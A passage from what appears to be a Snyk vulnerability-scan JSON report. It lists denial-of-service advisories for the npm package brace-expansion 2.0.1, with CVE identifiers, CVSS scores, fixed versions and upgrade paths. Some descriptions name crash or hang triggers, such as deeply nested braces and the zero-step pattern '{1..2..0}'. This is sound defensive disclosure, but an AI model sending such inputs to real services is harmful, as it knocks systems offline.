">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmpack@9.1.15",
"@npmcli/arborist@9.9.3",
"pacote@21.5.1",
"@npmcli/run-script@10.0.4",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmdiff@6.1.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/package-json@5.2.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@11.0.0",
"libnpmdiff@8.1.14",
"@npmcli/arborist@9.9.3",
"@npmcli/metavuln-calculator@9.0.3",
"pacote@21.5.1",
"@npmcli/package-json@7.0.5",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
